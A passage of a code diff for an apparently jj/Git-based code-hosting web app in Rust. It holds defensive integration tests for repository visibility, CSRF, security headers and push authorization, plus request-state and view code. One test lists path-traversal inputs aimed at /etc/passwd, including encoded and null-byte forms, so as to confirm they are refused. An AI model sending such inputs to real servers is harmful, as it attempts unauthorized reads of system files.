| 559 | + | format!("/alice/hidden/log?rev={oid}"), | |
| 560 | + | ] { | |
| 561 | + | let res = h.get(&path).await; | |
| 562 | + | assert_eq!(res.status(), StatusCode::NOT_FOUND, "{path}"); | |
| 563 | + | } | |
| 564 | + | ||
| 565 | + | h.drop_schema().await; | |
| 566 | + | } | |
| 567 | + | ||
| 568 | + | /// > Private repo object access via a public fork's URL. | |
| 569 | + | /// | |
| 570 | + | /// Decided §13.5: forks get separate storage, no Git alternates. So a fork's URL | |
| 571 | + | /// resolves to the fork's own repository row and its own storage — the parent's | |
| 572 | + | /// visibility is irrelevant because the parent's objects are not there at all. | |
| 573 | + | /// This pins that the fork relationship grants nothing. | |
| 574 | + | #[tokio::test] | |
| 575 | + | async fn a_public_fork_does_not_expose_its_private_parent() { | |
| 576 | + | let Some(h) = harness("fork").await else { return }; | |
| 577 | + | ||
| 578 | + | let (alice, _) = user(&h.db, "alice", false).await; | |
| 579 | + | let (bob, _) = user(&h.db, "bob", false).await; | |
| 580 | + | let (_, mallory) = user(&h.db, "mallory", false).await; | |
| 581 | + | ||
| 582 | + | let parent = repo(&h.db, alice, "private-parent", true).await; | |
| 583 | + | let fork = repo(&h.db, bob, "public-fork", false).await; | |
| 584 | + | sqlx::query("UPDATE repos SET fork_of_repo_id = $2 WHERE id = $1") | |
| 585 | + | .bind(fork) | |
| 586 | + | .bind(parent) | |
| 587 | + | .execute(&h.db) | |
| 588 | + | .await | |
| 589 | + | .unwrap(); | |
| 590 | + | ||
| 591 | + | // Content that exists only in the parent. | |
| 592 | + | change(&h.db, parent, 1, "klxqnvpqlnlvtkmuqmtmxktlnvnomvwv", "secret parent change").await; | |
| 593 | + | issue(&h.db, parent, 1, "secret parent issue").await; | |
| 594 | + | ||
| 595 | + | // The fork is public and readable… | |
| 596 | + | assert_eq!(h.get("/bob/public-fork").await.status(), StatusCode::OK); | |
| 597 | + | ||
| 598 | + | // …but the parent's content is not reachable through it, by number or by | |
| 599 | + | // change id, and the parent itself stays a 404. | |
| 600 | + | for path in [ | |
| 601 | + | "/bob/public-fork/changes/1", | |
| 602 | + | "/bob/public-fork/changes/klxqnvpq", | |
| 603 | + | "/bob/public-fork/issues/1", | |
| 604 | + | "/alice/private-parent", | |
| 605 | + | ] { | |
| 606 | + | for session in [None, Some(mallory)] { | |
| 607 | + | let res = h.request(path, session).await; | |
| 608 | + | assert_eq!(res.status(), StatusCode::NOT_FOUND, "{path}"); | |
| 609 | + | let body = h.body(res).await; | |
| 610 | + | assert!(!body.contains("secret parent"), "{path} leaked: {body}"); | |
| 611 | + | } | |
| 612 | + | } | |
| 613 | + | ||
| 614 | + | h.drop_schema().await; | |
| 615 | + | } | |
| 616 | + | ||
| 617 | + | /// > Search results crossing repos. | |
| 618 | + | #[tokio::test] | |
| 619 | + | async fn search_never_returns_anything_the_viewer_cannot_open() { | |
| 620 | + | let Some(h) = harness("search").await else { return }; | |
| 621 | + | ||
| 622 | + | let (alice, alice_session) = user(&h.db, "alice", false).await; | |
| 623 | + | let (_, mallory) = user(&h.db, "mallory", false).await; | |
| 624 | + | ||
| 625 | + | // The last term of a query is a *prefix* match, so both names must start | |
| 626 | + | // with the term for the search to be a fair test of visibility rather than | |
| 627 | + | // of tokenisation. | |
| 628 | + | let hidden = repo(&h.db, alice, "widgetsecret", true).await; | |
| 629 | + | let public = repo(&h.db, alice, "widgetopen", false).await; | |
| 630 | + | ||
| 631 | + | change(&h.db, hidden, 1, "klxqnvpqlnlvtkmuqmtmxktlnvnomvwv", "widgetconfidential change").await; | |
| 632 | + | issue(&h.db, hidden, 1, "widgetconfidential issue").await; | |
| 633 | + | change(&h.db, public, 1, "mmmmnvpqlnlvtkmuqmtmxktlnvnomvwv", "widgetpublic change").await; | |
| 634 | + | ||
| 635 | + | for session in [None, Some(mallory)] { | |
| 636 | + | let res = h.request("/search?q=widget", session).await; | |
| 637 | + | assert_eq!(res.status(), StatusCode::OK); | |
| 638 | + | let body = h.body(res).await; | |
| 639 | + | ||
| 640 | + | assert!(!body.contains("widgetconfidential"), "private content in search: {body}"); | |
| 641 | + | assert!(!body.contains("widgetsecret"), "private repo name in search: {body}"); | |
| 642 | + | assert!(body.contains("widgetopen"), "the public repo should be findable"); | |
| 643 | + | } | |
| 644 | + | ||
| 645 | + | // The owner does see their own private content, or the feature is useless. | |
| 646 | + | let res = h.get_as("/search?q=widget", &alice_session).await; | |
| 647 | + | let body = h.body(res).await; | |
| 648 | + | assert!(body.contains("widgetconfidential"), "the owner must see their own: {body}"); | |
| 649 | + | ||
| 650 | + | h.drop_schema().await; | |
| 651 | + | } | |
| 652 | + | ||
| 653 | + | /// A profile page must not enumerate repositories the viewer cannot open. | |
| 654 | + | #[tokio::test] | |
| 655 | + | async fn a_profile_does_not_list_private_repositories_to_strangers() { | |
| 656 | + | let Some(h) = harness("profile").await else { return }; | |
| 657 | + | ||
| 658 | + | let (alice, alice_session) = user(&h.db, "alice", false).await; | |
| 659 | + | let (_, mallory) = user(&h.db, "mallory", false).await; | |
| 660 | + | // Distinctive names: `hidden` would also match the markup of every | |
| 661 | + | // `<input type="hidden">` on the page and the assertion would pass or fail | |
| 662 | + | // for the wrong reason. | |
| 663 | + | repo(&h.db, alice, "unlistable-repo", true).await; | |
| 664 | + | repo(&h.db, alice, "listable-repo", false).await; | |
| 665 | + | ||
| 666 | + | for session in [None, Some(mallory)] { | |
| 667 | + | let res = h.request("/alice", session).await; | |
| 668 | + | assert_eq!(res.status(), StatusCode::OK); | |
| 669 | + | let body = h.body(res).await; | |
| 670 | + | assert!( | |
| 671 | + | !body.contains("unlistable-repo"), | |
| 672 | + | "private repo listed on a profile: {body}" | |
| 673 | + | ); | |
| 674 | + | assert!(body.contains("listable-repo")); | |
| 675 | + | } | |
| 676 | + | ||
| 677 | + | let body = h.body(h.get_as("/alice", &alice_session).await).await; | |
| 678 | + | assert!( | |
| 679 | + | body.contains("unlistable-repo"), | |
| 680 | + | "the owner must see their own repositories" | |
| 681 | + | ); | |
| 682 | + | ||
| 683 | + | h.drop_schema().await; | |
| 684 | + | } | |
| 685 | + | ||
| 686 | + | /// A collaborator grant is what opens a private repository, and nothing else. | |
| 687 | + | #[tokio::test] | |
| 688 | + | async fn a_collaborator_grant_is_what_opens_a_private_repo() { | |
| 689 | + | let Some(h) = harness("collaborator").await else { return }; | |
| 690 | + | ||
| 691 | + | let (alice, _) = user(&h.db, "alice", false).await; | |
| 692 | + | let (bob, bob_session) = user(&h.db, "bob", false).await; | |
| 693 | + | let hidden = repo(&h.db, alice, "hidden", true).await; | |
| 694 | + | ||
| 695 | + | assert_eq!( | |
| 696 | + | h.get_as("/alice/hidden", &bob_session).await.status(), | |
| 697 | + | StatusCode::NOT_FOUND | |
| 698 | + | ); | |
| 699 | + | ||
| 700 | + | sqlx::query("INSERT INTO repo_collaborators (repo_id, user_id, role) VALUES ($1, $2, 'read')") | |
| 701 | + | .bind(hidden) | |
| 702 | + | .bind(bob) | |
| 703 | + | .execute(&h.db) | |
| 704 | + | .await | |
| 705 | + | .unwrap(); | |
| 706 | + | ||
| 707 | + | assert_eq!( | |
| 708 | + | h.get_as("/alice/hidden", &bob_session).await.status(), | |
| 709 | + | StatusCode::OK, | |
| 710 | + | "a read collaborator must be able to open it" | |
| 711 | + | ); | |
| 712 | + | ||
| 713 | + | // …but read is not settings. | |
| 714 | + | assert_eq!( | |
| 715 | + | h.get_as("/alice/hidden/settings", &bob_session).await.status(), | |
| 716 | + | StatusCode::FORBIDDEN, | |
| 717 | + | "read access must not reach settings" | |
| 718 | + | ); | |
| 719 | + | ||
| 720 | + | h.drop_schema().await; | |
| 721 | + | } | |
| 722 | + | ||
| 723 | + | /// > Enforce authorization in middleware before the handler runs. | |
| 724 | + | /// | |
| 725 | + | /// A `read` collaborator sees a 403 on settings, not a 404 — they can already | |
| 726 | + | /// see the repository, so nothing is disclosed — while a stranger sees a 404. | |
| 727 | + | /// The distinction is the whole design of `AppError`. | |
| 728 | + | #[tokio::test] | |
| 729 | + | async fn a_403_is_only_ever_shown_to_somebody_who_can_already_see_the_repo() { | |
| 730 | + | let Some(h) = harness("403_vs_404").await else { return }; | |
| 731 | + | ||
| 732 | + | let (alice, _) = user(&h.db, "alice", false).await; | |
| 733 | + | let (bob, bob_session) = user(&h.db, "bob", false).await; | |
| 734 | + | let (_, mallory) = user(&h.db, "mallory", false).await; | |
| 735 | + | let hidden = repo(&h.db, alice, "hidden", true).await; | |
| 736 | + | ||
| 737 | + | sqlx::query("INSERT INTO repo_collaborators (repo_id, user_id, role) VALUES ($1, $2, 'read')") | |
| 738 | + | .bind(hidden) | |
| 739 | + | .bind(bob) | |
| 740 | + | .execute(&h.db) | |
| 741 | + | .await | |
| 742 | + | .unwrap(); | |
| 743 | + | ||
| 744 | + | assert_eq!( | |
| 745 | + | h.get_as("/alice/hidden/settings", &bob_session).await.status(), | |
| 746 | + | StatusCode::FORBIDDEN | |
| 747 | + | ); | |
| 748 | + | assert_eq!( | |
| 749 | + | h.get_as("/alice/hidden/settings", &mallory).await.status(), | |
| 750 | + | StatusCode::NOT_FOUND, | |
| 751 | + | "a stranger must not learn the repository exists" | |
| 752 | + | ); | |
| 753 | + | ||
| 754 | + | h.drop_schema().await; | |
| 755 | + | } | |
| 756 | + | ||
| 757 | + | /// > Strict CSP with no `unsafe-inline`, `nosniff`, and framing denied — on | |
| 758 | + | /// > every response, including errors. | |
| 759 | + | #[tokio::test] | |
| 760 | + | async fn security_headers_are_present_on_every_response() { | |
| 761 | + | let Some(h) = harness("headers").await else { return }; | |
| 762 | + | ||
| 763 | + | for path in ["/", "/does-not-exist", "/login"] { | |
| 764 | + | let res = h.get(path).await; | |
| 765 | + | let headers = res.headers(); | |
| 766 | + | ||
| 767 | + | let csp = headers | |
| 768 | + | .get("content-security-policy") | |
| 769 | + | .and_then(|v| v.to_str().ok()) | |
| 770 | + | .unwrap_or_default() | |
| 771 | + | .to_owned(); | |
| 772 | + | ||
| 773 | + | assert!(!csp.is_empty(), "{path} has no CSP"); | |
| 774 | + | assert!(!csp.contains("unsafe-inline"), "{path} CSP allows unsafe-inline: {csp}"); | |
| 775 | + | assert!(!csp.contains("unsafe-eval"), "{path} CSP allows unsafe-eval: {csp}"); | |
| 776 | + | assert!(csp.contains("frame-ancestors 'none'"), "{path}: {csp}"); | |
| 777 | + | assert!(csp.contains("object-src 'none'"), "{path}: {csp}"); | |
| 778 | + | ||
| 779 | + | assert_eq!( | |
| 780 | + | headers.get("x-content-type-options").and_then(|v| v.to_str().ok()), | |
| 781 | + | Some("nosniff"), | |
| 782 | + | "{path}" | |
| 783 | + | ); | |
| 784 | + | assert_eq!( | |
| 785 | + | headers.get("x-frame-options").and_then(|v| v.to_str().ok()), | |
| 786 | + | Some("DENY"), | |
| 787 | + | "{path}" | |
| 788 | + | ); | |
| 789 | + | } | |
| 790 | + | ||
| 791 | + | h.drop_schema().await; | |
| 792 | + | } | |
| 793 | + | ||
| 794 | + | /// > `/metrics` — bind to loopback only. | |
| 795 | + | /// | |
| 796 | + | /// Requests through this harness have no `ConnectInfo`, which is the same | |
| 797 | + | /// position a request arriving without a resolvable peer is in. The endpoint | |
| 798 | + | /// must refuse rather than default to serving. | |
| 799 | + | #[tokio::test] | |
| 800 | + | async fn metrics_are_not_served_without_a_loopback_peer() { | |
| 801 | + | let Some(h) = harness("metrics").await else { return }; | |
| 802 | + | ||
| 803 | + | let res = h.get("/metrics").await; | |
| 804 | + | assert_ne!( | |
| 805 | + | res.status(), | |
| 806 | + | StatusCode::OK, | |
| 807 | + | "metrics must not be served to a request that cannot prove it is local" | |
| 808 | + | ); | |
| 809 | + | ||
| 810 | + | h.drop_schema().await; | |
| 811 | + | } | |
| 812 | + | ||
| 813 | + | /// > CSRF: double-submit cookie, validated on every non-GET. | |
| 814 | + | #[tokio::test] | |
| 815 | + | async fn state_changing_requests_without_a_csrf_token_are_refused() { | |
| 816 | + | let Some(h) = harness("csrf").await else { return }; | |
| 817 | + | ||
| 818 | + | let (alice, session) = user(&h.db, "alice", false).await; | |
| 819 | + | repo(&h.db, alice, "r", false).await; | |
| 820 | + | ||
| 821 | + | for (method, path) in [ | |
| 822 | + | ("POST", "/repos"), | |
| 823 | + | ("POST", "/logout"), | |
| 824 | + | ("POST", "/settings/keys"), | |
| 825 | + | ("POST", "/alice/r/settings/general"), | |
| 826 | + | ("POST", "/alice/r/issues"), | |
| 827 | + | ] { | |
| 828 | + | let req = Request::builder() | |
| 829 | + | .uri(path) | |
| 830 | + | .method(method) | |
| 831 | + | .header("cookie", format!("{}={session}", df_auth::session::COOKIE_NAME)) | |
| 832 | + | .header("content-type", "application/x-www-form-urlencoded") | |
| 833 | + | .body(Body::from("name=x")) | |
| 834 | + | .unwrap(); | |
| 835 | + | ||
| 836 | + | let res = h.app.clone().oneshot(req).await.unwrap(); | |
| 837 | + | assert_eq!( | |
| 838 | + | res.status(), | |
| 839 | + | StatusCode::FORBIDDEN, | |
| 840 | + | "{method} {path} was accepted without a CSRF token" | |
| 841 | + | ); | |
| 842 | + | } | |
| 843 | + | ||
| 844 | + | h.drop_schema().await; | |
| 845 | + | } | |
| 846 | + | ||
| 847 | + | /// > Blob content served with `Content-Disposition: attachment` and | |
| 848 | + | /// > `X-Content-Type-Options: nosniff` — never serve user-controlled HTML on | |
| 849 | + | /// > the app origin. | |
| 850 | + | /// | |
| 851 | + | /// The store here cannot produce a blob, so this asserts the reachable part: | |
| 852 | + | /// that the raw route never answers with a content type a browser would render. | |
| 853 | + | /// The header construction itself is pinned by a unit test next to the handler. | |
| 854 | + | #[tokio::test] | |
| 855 | + | async fn the_raw_route_never_serves_a_renderable_content_type() { | |
| 856 | + | let Some(h) = harness("raw").await else { return }; | |
| 857 | + | ||
| 858 | + | let (alice, _) = user(&h.db, "alice", false).await; | |
| 859 | + | repo(&h.db, alice, "r", false).await; | |
| 860 | + | ||
| 861 | + | let res = h.get("/alice/r/raw/main/evil.html").await; | |
| 862 | + | let ct = res | |
| 863 | + | .headers() | |
| 864 | + | .get("content-type") | |
| 865 | + | .and_then(|v| v.to_str().ok()) | |
| 866 | + | .unwrap_or_default() | |
| 867 | + | .to_owned(); | |
| 868 | + | assert!( | |
| 869 | + | !ct.contains("text/html") || res.status() != StatusCode::OK, | |
| 870 | + | "raw served renderable HTML: {ct}" | |
| 871 | + | ); | |
| 872 | + | ||
| 873 | + | h.drop_schema().await; | |
| 874 | + | } | |
| 875 | + | ||
| 876 | + | /// Path traversal must be refused at the parser, before any handler. | |
| 877 | + | #[tokio::test] | |
| 878 | + | async fn traversal_and_control_characters_are_refused() { | |
| 879 | + | let Some(h) = harness("traversal").await else { return }; | |
| 880 | + | ||
| 881 | + | let (alice, _) = user(&h.db, "alice", false).await; | |
| 882 | + | repo(&h.db, alice, "r", false).await; | |
| 883 | + | ||
| 884 | + | for path in [ | |
| 885 | + | "/alice/r/blob/main/../../../../etc/passwd", | |
| 886 | + | "/alice/r/blob/main/%2e%2e%2f%2e%2e%2fetc%2fpasswd", | |
| 887 | + | "/alice/r/raw/main/%00etc/passwd", | |
| 888 | + | "/alice/r/tree/main/../..", | |
| 889 | + | ] { | |
| 890 | + | let res = h.get(path).await; | |
| 891 | + | assert!( | |
| 892 | + | res.status().is_client_error(), | |
| 893 | + | "{path} returned {} instead of a client error", | |
| 894 | + | res.status() | |
| 895 | + | ); | |
| 896 | + | } | |
| 897 | + | ||
| 898 | + | h.drop_schema().await; | |
| 899 | + | } | |
| 900 | + | ||
| 901 | + | /// A signed-out visitor must not be able to act, only to look. | |
| 902 | + | #[tokio::test] | |
| 903 | + | async fn anonymous_visitors_cannot_reach_authenticated_pages() { | |
| 904 | + | let Some(h) = harness("anon").await else { return }; | |
| 905 | + | ||
| 906 | + | for path in ["/settings", "/new", "/orgs/new"] { | |
| 907 | + | let res = h.get(path).await; | |
| 908 | + | assert_eq!( | |
| 909 | + | res.status(), | |
| 910 | + | StatusCode::SEE_OTHER, | |
| 911 | + | "{path} should redirect an anonymous visitor to sign in" | |
| 912 | + | ); | |
| 913 | + | assert_eq!( | |
| 914 | + | res.headers().get("location").and_then(|v| v.to_str().ok()), | |
| 915 | + | Some("/login"), | |
| 916 | + | "{path}" | |
| 917 | + | ); | |
| 918 | + | } | |
| 919 | + | ||
| 920 | + | h.drop_schema().await; | |
| 921 | + | } | |
| 922 | + | ||
| 923 | + | /// An archived repository is read-only. The settings page promises that in so | |
| 924 | + | /// many words, so it has to be true on the wire — enforcing it only in the UI | |
| 925 | + | /// would leave the promise false for every Git client. | |
| 926 | + | #[tokio::test] | |
| 927 | + | async fn an_archived_repository_refuses_pushes() { | |
| 928 | + | let Some(h) = harness("archived").await else { return }; | |
| 929 | + | ||
| 930 | + | let (alice, _) = user(&h.db, "alice", false).await; | |
| 931 | + | let repo_id = repo(&h.db, alice, "frozen", false).await; | |
| 932 | + | sqlx::query("UPDATE repos SET archived = true WHERE id = $1") | |
| 933 | + | .bind(repo_id) | |
| 934 | + | .execute(&h.db) | |
| 935 | + | .await | |
| 936 | + | .unwrap(); | |
| 937 | + | ||
| 938 | + | let token = df_auth::tokens::create(&h.db, alice, "push", &[], None) | |
| 939 | + | .await | |
| 940 | + | .expect("minting a token"); | |
| 941 | + | let basic = base64::Engine::encode( | |
| 942 | + | &base64::engine::general_purpose::STANDARD, | |
| 943 | + | format!("alice:{}", token.plaintext), | |
| 944 | + | ); | |
| 945 | + | ||
| 946 | + | let req = Request::builder() | |
| 947 | + | .uri("/alice/frozen/git-receive-pack") | |
| 948 | + | .method("POST") | |
| 949 | + | .header("authorization", format!("Basic {basic}")) | |
| 950 | + | .header("content-type", "application/x-git-receive-pack-request") | |
| 951 | + | .body(Body::from("0000")) | |
| 952 | + | .unwrap(); | |
| 953 | + | ||
| 954 | + | let res = h.app.clone().oneshot(req).await.unwrap(); | |
| 955 | + | assert_eq!( | |
| 956 | + | res.status(), | |
| 957 | + | StatusCode::BAD_REQUEST, | |
| 958 | + | "an archived repository accepted a push" | |
| 959 | + | ); | |
| 960 | + | ||
| 961 | + | // …and reads still work, or "archived" would just mean "deleted". | |
| 962 | + | assert_eq!(h.get("/alice/frozen").await.status(), StatusCode::OK); | |
| 963 | + | ||
| 964 | + | h.drop_schema().await; | |
| 965 | + | } | |
| 966 | + | ||
| 967 | + | /// A push to a repository the token's owner cannot write must be refused even | |
| 968 | + | /// though the credentials are valid. | |
| 969 | + | #[tokio::test] | |
| 970 | + | async fn a_valid_token_does_not_grant_push_to_a_repo_you_cannot_write() { | |
| 971 | + | let Some(h) = harness("push_authz").await else { return }; | |
| 972 | + | ||
| 973 | + | let (alice, _) = user(&h.db, "alice", false).await; | |
| 974 | + | let (mallory, _) = user(&h.db, "mallory", false).await; | |
| 975 | + | repo(&h.db, alice, "theirs", true).await; | |
| 976 | + | ||
| 977 | + | let token = df_auth::tokens::create(&h.db, mallory, "push", &[], None) | |
| 978 | + | .await | |
| 979 | + | .expect("minting a token"); | |
| 980 | + | let basic = base64::Engine::encode( | |
| 981 | + | &base64::engine::general_purpose::STANDARD, | |
| 982 | + | format!("mallory:{}", token.plaintext), | |
| 983 | + | ); | |
| 984 | + | ||
| 985 | + | let req = Request::builder() | |
| 986 | + | .uri("/alice/theirs/git-receive-pack") | |
| 987 | + | .method("POST") | |
| 988 | + | .header("authorization", format!("Basic {basic}")) | |
| 989 | + | .body(Body::from("0000")) | |
| 990 | + | .unwrap(); | |
| 991 | + | ||
| 992 | + | let res = h.app.clone().oneshot(req).await.unwrap(); | |
| 993 | + | assert_eq!( | |
| 994 | + | res.status(), | |
| 995 | + | StatusCode::NOT_FOUND, | |
| 996 | + | "a private repo must stay a 404 to an authenticated stranger, even on the push path" | |
| 997 | + | ); | |
| 998 | + | ||
| 999 | + | h.drop_schema().await; | |
| 1000 | + | } | |
Acrates/df-web/src/state.rs+117−0
| @@ −0,0 +1,117 @@ | |||
| 1 | + | //! Shared application state and request-scoped context. | |
| 2 | + | ||
| 3 | + | use std::sync::Arc; | |
| 4 | + | ||
| 5 | + | use axum::extract::FromRequestParts; | |
| 6 | + | use axum::http::request::Parts; | |
| 7 | + | use df_auth::Oidc; | |
| 8 | + | use df_db::models::User; | |
| 9 | + | use df_db::PgPool; | |
| 10 | + | ||
| 11 | + | use crate::config::Config; | |
| 12 | + | ||
| 13 | + | pub struct Inner { | |
| 14 | + | pub db: PgPool, | |
| 15 | + | pub oidc: Oidc, | |
| 16 | + | pub config: Config, | |
| 17 | + | /// Repository storage, behind the trait so nothing here knows it is Git. | |
| 18 | + | pub store: Arc<dyn df_store::RepoStore>, | |
| 19 | + | /// Per-identity rate and concurrency limits (spec §9). | |
| 20 | + | pub limiter: crate::ratelimit::Limiter, | |
| 21 | + | } | |
| 22 | + | ||
| 23 | + | #[derive(Clone)] | |
| 24 | + | pub struct AppState(pub Arc<Inner>); | |
| 25 | + | ||
| 26 | + | impl std::ops::Deref for AppState { | |
| 27 | + | type Target = Inner; | |
| 28 | + | fn deref(&self) -> &Inner { | |
| 29 | + | &self.0 | |
| 30 | + | } | |
| 31 | + | } | |
| 32 | + | ||
| 33 | + | /// The signed-in user, resolved once per request by the session middleware and | |
| 34 | + | /// stashed in request extensions. | |
| 35 | + | /// | |
| 36 | + | /// Handlers take `CurrentUser` (optional) or `RequireUser` (enforced) rather | |
| 37 | + | /// than reading cookies themselves. | |
| 38 | + | #[derive(Clone)] | |
| 39 | + | pub struct CurrentUser(pub Option<Arc<User>>); | |
| 40 | + | ||
| 41 | + | impl<S: Send + Sync> FromRequestParts<S> for CurrentUser { | |
| 42 | + | type Rejection = std::convert::Infallible; | |
| 43 | + | ||
| 44 | + | async fn from_request_parts(parts: &mut Parts, _: &S) -> Result<Self, Self::Rejection> { | |
| 45 | + | Ok(parts | |
| 46 | + | .extensions | |
| 47 | + | .get::<CurrentUser>() | |
| 48 | + | .cloned() | |
| 49 | + | .unwrap_or(CurrentUser(None))) | |
| 50 | + | } | |
| 51 | + | } | |
| 52 | + | ||
| 53 | + | /// The per-request CSRF token, minted or echoed by middleware. | |
| 54 | + | #[derive(Clone)] | |
| 55 | + | pub struct CsrfToken(pub String); | |
| 56 | + | ||
| 57 | + | impl<S: Send + Sync> FromRequestParts<S> for CsrfToken { | |
| 58 | + | type Rejection = std::convert::Infallible; | |
| 59 | + | ||
| 60 | + | async fn from_request_parts(parts: &mut Parts, _: &S) -> Result<Self, Self::Rejection> { | |
| 61 | + | Ok(parts | |
| 62 | + | .extensions | |
| 63 | + | .get::<CsrfToken>() | |
| 64 | + | .cloned() | |
| 65 | + | .unwrap_or_else(|| CsrfToken(String::new()))) | |
| 66 | + | } | |
| 67 | + | } | |
| 68 | + | ||
| 69 | + | /// The connecting peer's address, when one is known. | |
| 70 | + | /// | |
| 71 | + | /// `ConnectInfo<SocketAddr>` itself is not an optional extractor, so a handler | |
| 72 | + | /// that took it directly would 500 on any request that arrived without it — | |
| 73 | + | /// which is every request in a test, and any request at all if the server is | |
| 74 | + | /// ever served without `into_make_service_with_connect_info`. This wrapper makes | |
| 75 | + | /// absence a value the handler decides about rather than an error. | |
| 76 | + | #[derive(Clone, Copy, Debug)] | |
| 77 | + | pub struct PeerAddr(pub Option<std::net::SocketAddr>); | |
| 78 | + | ||
| 79 | + | impl PeerAddr { | |
| 80 | + | /// Whether the peer is provably local. Absence is not local. | |
| 81 | + | pub fn is_loopback(&self) -> bool { | |
| 82 | + | self.0.is_some_and(|a| a.ip().is_loopback()) | |
| 83 | + | } | |
| 84 | + | ||
| 85 | + | pub fn ip(&self) -> Option<std::net::IpAddr> { | |
| 86 | + | self.0.map(|a| a.ip()) | |
| 87 | + | } | |
| 88 | + | } | |
| 89 | + | ||
| 90 | + | impl<S: Send + Sync> FromRequestParts<S> for PeerAddr { | |
| 91 | + | type Rejection = std::convert::Infallible; | |
| 92 | + | ||
| 93 | + | async fn from_request_parts(parts: &mut Parts, _: &S) -> Result<Self, Self::Rejection> { | |
| 94 | + | Ok(PeerAddr( | |
| 95 | + | parts | |
| 96 | + | .extensions | |
| 97 | + | .get::<axum::extract::ConnectInfo<std::net::SocketAddr>>() | |
| 98 | + | .map(|c| c.0), | |
| 99 | + | )) | |
| 100 | + | } | |
| 101 | + | } | |
| 102 | + | ||
| 103 | + | /// Per-request CSP nonce. | |
| 104 | + | #[derive(Clone)] | |
| 105 | + | pub struct Nonce(pub String); | |
| 106 | + | ||
| 107 | + | impl<S: Send + Sync> FromRequestParts<S> for Nonce { | |
| 108 | + | type Rejection = std::convert::Infallible; | |
| 109 | + | ||
| 110 | + | async fn from_request_parts(parts: &mut Parts, _: &S) -> Result<Self, Self::Rejection> { | |
| 111 | + | Ok(parts | |
| 112 | + | .extensions | |
| 113 | + | .get::<Nonce>() | |
| 114 | + | .cloned() | |
| 115 | + | .unwrap_or_else(|| Nonce(String::new()))) | |
| 116 | + | } | |
| 117 | + | } | |
Acrates/df-web/src/views/change.rs+283−0
| @@ −0,0 +1,283 @@ | |||
| 1 | + | //! Change list and change detail (M3). | |
| 2 | + | //! | |
| 3 | + | //! The change list is the hottest page in the product (spec §4), so it reads | |
| 4 | + | //! precomputed `change_edges` rather than walking the commit graph. | |
| 5 | + | ||
| 6 | + | use chrono::{DateTime, Utc}; | |
| 7 | + | use maud::{html, Markup}; | |
| 8 | + | ||
| 9 | + | ||
| 10 | + | use crate::repo_ctx::RepoContext; | |
| 11 | + | ||
| 12 | + | pub struct ChangeRow { | |
| 13 | + | pub number: i64, | |
| 14 | + | pub change_id: String, | |
| 15 | + | pub synthetic: bool, | |
| 16 | + | pub title: String, | |
| 17 | + | pub state: String, | |
| 18 | + | pub conflicted: bool, | |
| 19 | + | pub updated_at: DateTime<Utc>, | |
| 20 | + | pub author: Option<String>, | |
| 21 | + | pub revision_count: i64, | |
| 22 | + | /// Changes stacked directly on top of this one. | |
| 23 | + | pub children: Vec<String>, | |
| 24 | + | } | |
| 25 | + | ||
| 26 | + | /// The change chip — the product's central concept made visible. | |
| 27 | + | /// | |
| 28 | + | /// A real jj change id gets the identity accent and a monospace prefix. A | |
| 29 | + | /// synthetic id gets no chip (spec §4: "the UI shows them without a change chip | |
| 30 | + | /// and with reduced revision-history guarantees"), because presenting a | |
| 31 | + | /// synthesised id as a change id would be a lie the user cannot detect. | |
| 32 | + | pub fn change_chip(change_id: &str, synthetic: bool) -> Markup { | |
| 33 | + | html! { | |
| 34 | + | @if synthetic { | |
| 35 | + | span .chip title="Authored with plain git — identity derived from the patch" { | |
| 36 | + | "git" | |
| 37 | + | } | |
| 38 | + | } @else { | |
| 39 | + | span .chip.chip-change title=(format!("jj change id: {change_id}")) { | |
| 40 | + | (&change_id[..12.min(change_id.len())]) | |
| 41 | + | } | |
| 42 | + | } | |
| 43 | + | } | |
| 44 | + | } | |
| 45 | + | ||
| 46 | + | pub fn state_badge(state: &str, conflicted: bool) -> Markup { | |
| 47 | + | html! { | |
| 48 | + | @if conflicted { | |
| 49 | + | span .badge.badge-conflict { "conflict" } | |
| 50 | + | } | |
| 51 | + | @match state { | |
| 52 | + | "merged" => span .badge.badge-merged { "merged" }, | |
| 53 | + | "abandoned" => span .badge.badge-abandoned { "abandoned" }, | |
| 54 | + | "draft" => span .chip { "draft" }, | |
| 55 | + | _ => span .badge.badge-open { "open" }, | |
| 56 | + | } | |
| 57 | + | } | |
| 58 | + | } | |
| 59 | + | ||
| 60 | + | pub struct ListFilters<'a> { | |
| 61 | + | pub state: &'a str, | |
| 62 | + | pub revset: &'a str, | |
| 63 | + | pub revset_error: Option<&'a str>, | |
| 64 | + | } | |
| 65 | + | ||
| 66 | + | pub fn list(ctx: &RepoContext, rows: &[ChangeRow], f: ListFilters<'_>) -> Markup { | |
| 67 | + | let base = ctx.base(); | |
| 68 | + | ||
| 69 | + | html! { | |
| 70 | + | div .panel { | |
| 71 | + | form method="get" action=(format!("{base}/changes")) style="margin-bottom:16px" { | |
| 72 | + | div .row { | |
| 73 | + | @for (key, label) in [("open","Open"),("merged","Merged"),("abandoned","Abandoned"),("all","All")] { | |
| 74 | + | a href=(format!("{base}/changes?state={key}")) | |
| 75 | + | style=(if f.state == key { "color:var(--text);font-weight:500" } else { "" }) { | |
| 76 | + | (label) | |
| 77 | + | } | |
| 78 | + | } | |
| 79 | + | span style="margin-left:auto;flex:1;max-width:420px" { | |
| 80 | + | input type="text" name="revset" value=(f.revset) | |
| 81 | + | placeholder="revset — author(x) & ~conflicted()" | |
| 82 | + | aria-label="Filter by revset"; | |
| 83 | + | } | |
| 84 | + | input type="hidden" name="state" value=(f.state); | |
| 85 | + | button .btn type="submit" { "Filter" } | |
| 86 | + | } | |
| 87 | + | @if let Some(e) = f.revset_error { | |
| 88 | + | div .banner.banner-error style="margin-top:12px" { | |
| 89 | + | strong { "Unsupported expression. " } | |
| 90 | + | (e) | |
| 91 | + | } | |
| 92 | + | } | |
| 93 | + | } | |
| 94 | + | ||
| 95 | + | @if rows.is_empty() { | |
| 96 | + | div .empty { | |
| 97 | + | h2 { "No changes" } | |
| 98 | + | p { "Push with " code { "jj git push" } " and changes appear here." } | |
| 99 | + | } | |
| 100 | + | } @else { | |
| 101 | + | div .stack style="gap:0" { | |
| 102 | + | @for r in rows { | |
| 103 | + | div style="padding:12px 0;border-bottom:1px solid var(--border)" { | |
| 104 | + | div .row { | |
| 105 | + | (state_badge(&r.state, r.conflicted)) | |
| 106 | + | a href=(format!("{base}/changes/{}", r.number)) style="font-weight:500" { | |
| 107 | + | (r.title) | |
| 108 | + | } | |
| 109 | + | } | |
| 110 | + | div .row style="margin-top:6px;gap:10px" { | |
| 111 | + | (change_chip(&r.change_id, r.synthetic)) | |
